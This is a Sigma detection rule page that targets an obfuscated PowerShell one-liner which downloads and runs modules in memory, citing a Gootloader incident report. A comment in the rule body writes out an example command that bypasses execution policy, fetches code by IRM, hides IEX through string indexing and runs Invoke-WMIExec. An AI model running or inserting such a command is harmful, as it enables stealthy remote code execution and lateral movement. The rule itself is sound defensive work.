Detection rules › Sigma
Obfuscated PowerShell OneLiner Execution
Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution | |
| Defense Impairment |
Telemetry coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule body
title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
- https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
- https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
- attack.execution
- attack.defense-impairment
- attack.t1059.001
- attack.t1685
logsource:
product: windows
category: process_creation
detection:
selection:
# Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'http://127.0.0.1'
- '%{(IRM $_)}'
- 'Invoke'
condition: selection
falsepositives:
- Unknown
level: high
Stages and Predicates
Stage 0: condition
selectionStage 1: selection
selection:
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'http://127.0.0.1'
- '%{(IRM $_)}'
- 'Invoke'
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
CommandLine | match |
| field:"CommandLine" kind:match |
Image | ends_with |
| field:"Image" kind:ends_with value:"\powershell.exe" |